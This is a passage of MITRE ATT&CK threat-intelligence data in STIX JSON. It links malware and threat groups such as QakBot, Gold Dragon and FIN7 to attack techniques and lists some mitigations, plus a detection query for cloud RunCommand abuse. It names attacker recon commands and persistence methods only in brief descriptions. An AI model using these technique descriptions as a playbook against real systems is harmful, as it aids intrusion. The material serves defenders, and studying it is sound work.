privileges.(Citation: FireEye FIN6 April 2016)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--74e84133-f84a-469a-bfd7-1a514af2f15e","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto T9000 Feb 2016","description":"Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/"}],"modified":"2020-03-30T03:07:37.790Z","description":"[T9000](https://attack.mitre.org/software/S0098) performs checks for various antivirus and security products during installation.(Citation: Palo Alto T9000 Feb 2016)","relationship_type":"uses","source_ref":"malware--876f6a77-fbc5-4e13-ab1a-5611986730a3","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--74eb5b40-3c37-49c3-ba39-63dd8f8b595a","created":"2021-09-28T20:33:51.518Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike Qakbot October 2020","description":"CS. (2020, October 7). Duck Hunting with Falcon Complete: A Fowl Banking Trojan Evolves, Part 2. Retrieved September 27, 2021.","url":"https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/"},{"source_name":"Group IB Ransomware September 2020","description":"Group IB. (2020, September). LOCK LIKE A PRO. Retrieved September 27, 2021.","url":"https://groupib.pathfactory.com/ransomware-reports/prolock_wp"},{"source_name":"Trend Micro Black Basta October 2022","description":"Kenefick, I. et al. (2022, October 12). Black Basta Ransomware Gang Infiltrates Networks via QAKBOT, Brute Ratel, and Cobalt Strike. Retrieved February 6, 2023.","url":"https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html"},{"source_name":"Kaspersky QakBot September 2021","description":"Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021.","url":"https://securelist.com/qakbot-technical-analysis/103931/"},{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-05T20:27:01.954Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can use net config workstation, arp -a, `nslookup`, and ipconfig /all to gather network configuration information.(Citation: Crowdstrike Qakbot October 2020)(Citation: Kaspersky QakBot September 2021)(Citation: Group IB Ransomware September 2020)(Citation: Trend Micro Black Basta October 2022)(Citation: Microsoft Ransomware as a Service)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--74edb7f4-4c3b-4573-abb0-c4842032b6c3","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/","description":"Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems. Retrieved June 6, 2018.","source_name":"McAfee Gold Dragon"}],"modified":"2020-04-21T23:09:31.613Z","description":"[Gold Dragon](https://attack.mitre.org/software/S0249) stores information gathered from the endpoint in a file named 1.hwp.(Citation: McAfee Gold Dragon)","relationship_type":"uses","source_ref":"malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--74ef18b6-ca55-4fc3-acf1-10ed585c160f","created":"2022-09-26T18:33:11.465Z","revoked":false,"external_references":[{"source_name":"Kaspersky APT Trends Q1 2020","description":"Global Research and Analysis Team. (2020, April 30). APT trends report Q1 2020. Retrieved September 19, 2022.","url":"https://securelist.com/apt-trends-report-q1-2020/96826/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T18:33:11.465Z","description":"[FunnyDream](https://attack.mitre.org/software/S1044) can collect information about hosts on the victim network.(Citation: Kaspersky APT Trends Q1 2020)","relationship_type":"uses","source_ref":"malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--74f14668-7111-4f96-a307-4aac00d91cf4","type":"relationship","created":"2020-05-01T20:05:16.006Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black HotCroissant April 2020","url":"https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/","description":"Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."}],"modified":"2020-05-04T19:13:35.556Z","description":"[HotCroissant](https://attack.mitre.org/software/S0431) has used the open source UPX executable packer.(Citation: Carbon Black HotCroissant April 2020)","relationship_type":"uses","source_ref":"malware--aad11e34-02ca-4220-91cd-2ed420af4db3","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--74f411db-11a3-4c24-af5a-8068ab0da7cc","created":"2024-06-14T19:56:29.860Z","revoked":false,"external_references":[{"source_name":"CISA Star Blizzard Advisory December 2023","description":"CISA, et al. (2023, December 7). Russian FSB Cyber Actor Star Blizzard Continues Worldwide Spear-phishing Campaigns. Retrieved June 13, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-341a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-14T19:56:29.860Z","description":"[Star Blizzard](https://attack.mitre.org/groups/G1033) has identified ways to engage targets by researching potential victims' interests and social or professional contacts.(Citation: CISA Star Blizzard Advisory December 2023)","relationship_type":"uses","source_ref":"intrusion-set--9b36c218-4d80-4ec6-a68d-cc2886bbe410","target_ref":"attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--74fd87b9-3aff-4278-a408-11ae470082e5","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf","description":"Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.","source_name":"Lookout Dark Caracal Jan 2018"}],"modified":"2019-07-16T15:35:20.961Z","description":"[Dark Caracal](https://attack.mitre.org/groups/G0070)'s version of [Bandook](https://attack.mitre.org/software/S0234) adds a registry key to HKEY_USERS\\Software\\Microsoft\\Windows\\CurrentVersion\\Run for persistence.(Citation: Lookout Dark Caracal Jan 2018)","relationship_type":"uses","source_ref":"intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--74fe4149-c5df-43a3-809a-5ece230b1cd7","type":"relationship","created":"2021-03-05T18:54:56.548Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler Higaisa 2020","url":"https://www.zscaler.com/blogs/security-research/return-higaisa-apt","description":"Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021."}],"modified":"2021-03-30T20:00:52.565Z","description":"[Higaisa](https://attack.mitre.org/groups/G0126) used a FakeTLS session for C2 communications.(Citation: Zscaler Higaisa 2020)","relationship_type":"uses","source_ref":"intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3","target_ref":"attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7507eb37-407e-4428-b29f-da0bda3f7970","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Buckeye","description":"Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.","url":"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"}],"modified":"2020-03-18T20:19:35.795Z","description":"[OSInfo](https://attack.mitre.org/software/S0165) discovers information about the infected machine.(Citation: Symantec Buckeye)","relationship_type":"uses","source_ref":"malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--750c8d62-74f3-4566-95fc-97f1685c9ca0","type":"relationship","created":"2019-04-19T15:10:04.322Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/","description":"Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.","source_name":"PaloAlto UBoatRAT Nov 2017"}],"modified":"2020-03-16T18:33:23.476Z","description":"[UBoatRAT](https://attack.mitre.org/software/S0333) checks for virtualization software such as VMWare, VirtualBox, or QEmu on the compromised machine.(Citation: PaloAlto UBoatRAT Nov 2017)","relationship_type":"uses","source_ref":"malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--750ca5b8-6142-46c0-9c40-f04dc9036bb9","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/","description":"Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems. Retrieved June 6, 2018.","source_name":"McAfee Gold Dragon"}],"modified":"2020-04-21T23:09:31.036Z","description":"[Gold Dragon](https://attack.mitre.org/software/S0249) establishes persistence in the Startup folder.(Citation: McAfee Gold Dragon)","relationship_type":"uses","source_ref":"malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--75116ba9-f247-4c5b-b966-007bb61517e5","type":"relationship","created":"2022-02-16T22:59:15.538Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-02-17T13:14:39.970Z","description":"Forward logging of historical data to remote data store and centralized logging solution to preserve historical command line log data.","relationship_type":"mitigates","source_ref":"course-of-action--20a2baeb-98c2-4901-bad7-dc62d0a03dea","target_ref":"attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--75122837-7638-4ff2-8cb4-fbb8001e96f2","created":"2024-10-07T21:59:41.076Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-07T21:59:41.076Z","description":"Enable auditing and monitoring for email attachments and file transfers to detect and investigate suspicious activity. Regularly review logs for anomalies related to attachments containing potentially malicious content, as well as any attempts to execute or interact with these files. This practice helps identify spearphishing attempts before they can lead to further compromise.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--75155c7f-3804-4f83-bbcb-4f654a5182e5","type":"relationship","created":"2021-03-22T22:41:01.663Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"wardle evilquest partii","url":"https://objective-see.com/blog/blog_0x60.html","description":"Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021."},{"source_name":"reed thiefquest ransomware analysis","url":"https://blog.malwarebytes.com/mac/2020/07/mac-thiefquest-malware-may-not-be-ransomware-after-all/","description":"Thomas Reed. (2020, July 7). Mac ThiefQuest malware may not be ransomware after all. Retrieved March 22, 2021."}],"modified":"2021-03-31T16:34:43.191Z","description":"[ThiefQuest](https://attack.mitre.org/software/S0595) prepends a copy of itself to the beginning of an executable file while maintaining the name of the executable.(Citation: wardle evilquest partii)(Citation: reed thiefquest ransomware analysis)","relationship_type":"uses","source_ref":"malware--727afb95-3d0f-4451-b297-362a43909923","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--751ab02e-aef4-442b-8e3d-aa392c97be7e","created":"2024-08-05T20:58:24.680Z","revoked":false,"external_references":[{"source_name":"Microsoft Net Group","description":"Microsoft. (2016, August 31). Net group. Retrieved August 5, 2024.","url":"https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc754051(v=ws.11)"},{"source_name":"Microsoft Net Localgroup","description":"Microsoft. (2016, August 31). Net Localgroup. Retrieved August 5, 2024.","url":"https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc725622(v=ws.11)"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-05T20:58:24.680Z","description":"The `net localgroup` and `net group` commands in [Net](https://attack.mitre.org/software/S0039) can be used to add existing users to local and domain groups.(Citation: Microsoft Net Localgroup) (Citation: Microsoft Net Group)","relationship_type":"uses","source_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","target_ref":"attack-pattern--3e6831b2-bf4c-4ae6-b328-2e7c6633b291","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--751d1faf-0685-4a1b-8a72-de34bfd6da7e","created":"2020-01-17T16:49:36.576Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T20:25:38.843Z","description":"Limit user access to system utilities such as `systemctl` to only users who have a legitimate need.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7522210d-4941-4f68-a582-dfc5d8d97199","created":"2023-04-11T21:07:03.168Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Azure Run Command 2021","description":"Adrien Bataille, Anders Vejlby, Jared Scott Wilson, and Nader Zaveri. (2021, December 14). Azure Run Command for Dummies. Retrieved March 13, 2023.","url":"https://www.mandiant.com/resources/blog/azure-run-command-dummies"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-20T13:49:29.372Z","description":"Monitor for suspicious command executions via cloud management services like AWS System Manager or Azure RunCommand. In Azure, usage of Azure RunCommand can be identified via the Azure Activity Logs, and additional details on the result of executed jobs are available in the `C:\\Packages\\Plugins\\Microsoft.CPlat.Core.RunCommandWindows` directory on Windows virtual machines.(Citation: Mandiant Azure Run Command 2021)\n\nAnalytic 1 - Abnormal or unauthorized execution of commands/scripts on VMs\n\n index=cloud_logs sourcetype=aws:ssm OR sourcetype=azure:activity\n| search action IN (\"RunCommand\", \"StartSSMCommand\", \"ExecuteCommand\")\n","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--d94b3ae9-8059-4989-8e9f-ea0f601f80a7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--75270994-ea95-4744-a383-056eb96ab50d","created":"2023-08-17T18:44:53.678Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN7 Apr 2022","description":"Abdo, B., et al. (2022, April 4). FIN7 Power Hour: Adversary Archaeology and the Evolution of FIN7. Retrieved April 5, 2022.","url":"https://www.mandiant.com/resources/evolution-of-fin7"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T18:10:49.060Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) has compromised a digital product website and modified multiple download links to point to trojanized versions of offered digital products.(Citation: Mandiant FIN7 Apr 2022)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--752b1a33-be8b-4ae6-92ac-70b3e066a776","created":"2024-09-23T23:02:29.181Z","revoked":false,"external_references":[{"source_name":"group-ib_redcurl1","description":"Group-IB. (2020, August). RedCurl: The Pentest You Didn’t Know About. Retrieved August 9, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl/"},{"source_name":"group-ib_redcurl2","description":"Group-IB. (2021, November). RedCurl: The Awakening. Retrieved August 14, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T23:02:29.181Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) has collected information about email accounts.(Citation: group-ib_redcurl1)(Citation: group-ib_redcurl2)","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--752dc7ba-6ad9-42a7-a61a-4440bec0e1ea","created":"2024-09-03T16:40:49.365Z","revoked":false,"external_references":[{"source_name":"Mandiant_UNC2165","description":"Mandiant Intelligence. (2022, June 2). To HADES and Back: UNC2165 Shifts to LOCKBIT to Evade Sanctions. Retrieved July 29, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/unc2165-shifts-to-evade-sanctions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-03T16:40:49.365Z","description":"[Indrik Spider](https://attack.mitre.org/groups/G0119) has searched files to obtain and exfiltrate credentials.(Citation: Mandiant_UNC2165)","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--753093c1-6586-4a17-9068-25648111ef33","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft FinFisher March 2018","description":"Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher’s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.","url":"https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/"},{"source_name":"FinFisher Citation","description":"FinFisher. (n.d.). Retrieved September 12, 2024.","url":"https://web.archive.org/web/20171222050934/http://www.finfisher.com/FinFisher/index.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T17:23:46.694Z","description":"Some [FinFisher](https://attack.mitre.org/software/S0182) variants incorporate an MBR rootkit.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)","relationship_type":"uses","source_ref":"malware--a5528622-3a8a-4633-86ce-8cdaf8423858","target_ref":"attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--75367678-910c-4715-9fc8-ee503f8e41e5","type":"relationship","created":"2020-12-02T21:18:15.510Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Accenture HyperStack October 2020","url":"https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity","description":"Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020."}],"modified":"2020-12-02T21:18:15.510Z","description":"[Kazuar](https://attack.mitre.org/software/S0265) has used internal nodes on the compromised network for C2 communications.(Citation: Accenture HyperStack October 2020)","relationship_type":"uses","source_ref":"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2","target_ref":"attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--753b0a84-4455-4706-babf-f9bf75e530be","created":"2022-06-28T14:58:58.125Z","x_mitre_version":"0.1","external_references":[{"source_name":"CrowdStrike IceApple May 2022","url":"https://www.crowdstrike.com/wp-content/uploads/2022/05/crowdstrike-iceapple-a-novel-internet-information-services-post-exploitation-framework.pdf","description":"CrowdStrike. (2022, May). ICEAPPLE: A NOVEL INTERNET INFORMATION SERVICES (IIS) POST-EXPLOITATION FRAMEWORK. Retrieved June 27, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[IceApple](https://attack.mitre.org/software/S1022) can use a Base64-encoded AES key to decrypt tasking.(Citation: CrowdStrike IceApple May 2022)","modified":"2022-07-25T16:17:01.233Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--dd889a55-fb2c-4ec7-8e9f-c399939a49e1","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--753edd67-e4bb-4c1c-96bf-4de16c270d8c","created":"2022-07-25T18:39:05.994Z","x_mitre_version":"0.1","external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Heyoka Backdoor](https://attack.mitre.org/software/S1027) can gather process information.(Citation: SentinelOne Aoqin Dragon June 2022)","modified":"2022-07-25T18:39:05.994Z","relationship_type":"uses","source_ref":"malware--dff90475-9f72-41a6-84ed-1fbefd3874c0","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--753f9861-f0b8-4467-ac5e-4457bd350095","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"}],"modified":"2018-10-17T00:14:20.652Z","description":"[TINYTYPHON](https://attack.mitre.org/software/S0131) installs itself under Registry Run key to establish persistence.(Citation: Forcepoint 